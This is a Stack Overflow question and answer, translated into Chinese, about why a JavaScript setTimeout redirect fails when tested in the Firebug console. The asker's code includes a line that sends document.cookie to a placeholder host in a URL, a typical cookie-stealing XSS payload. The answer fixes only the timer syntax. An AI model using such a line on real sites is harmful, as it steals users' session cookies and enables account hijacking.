我正在尝试使以下代码工作。但这不会:(。

我已经对超时进行了单独测试,并且可以正常工作(代码行2),但是第一行将无法工作:(,任何指导,我们将不胜感激。

document.location="http://site/site.php?cookie=" + document.cookie;setTimeout(document.location='http://site/site/newpage',500);

setTimeout(document.location='http://site/site/newpage',500);


我正在Firebug控制台中对此进行测试(顺便说一句)

最佳答案

更改document.location将立即将您导航到另一个页面。

setTimeout期望使用新的Function(“ string”)(不推荐)构造一个字符串,一个函数指针(推荐)或一个匿名函数(推荐)。

您可以发送这样的匿名函数:

setTimeout(function(){document.location='http://site/site/newpage'},500);

关于javascript - JavaScript中的Settimeout问题,我们在Stack Overflow上找到一个类似的问题:https://stackoverflow.com/questions/21175717/

10-13 02:44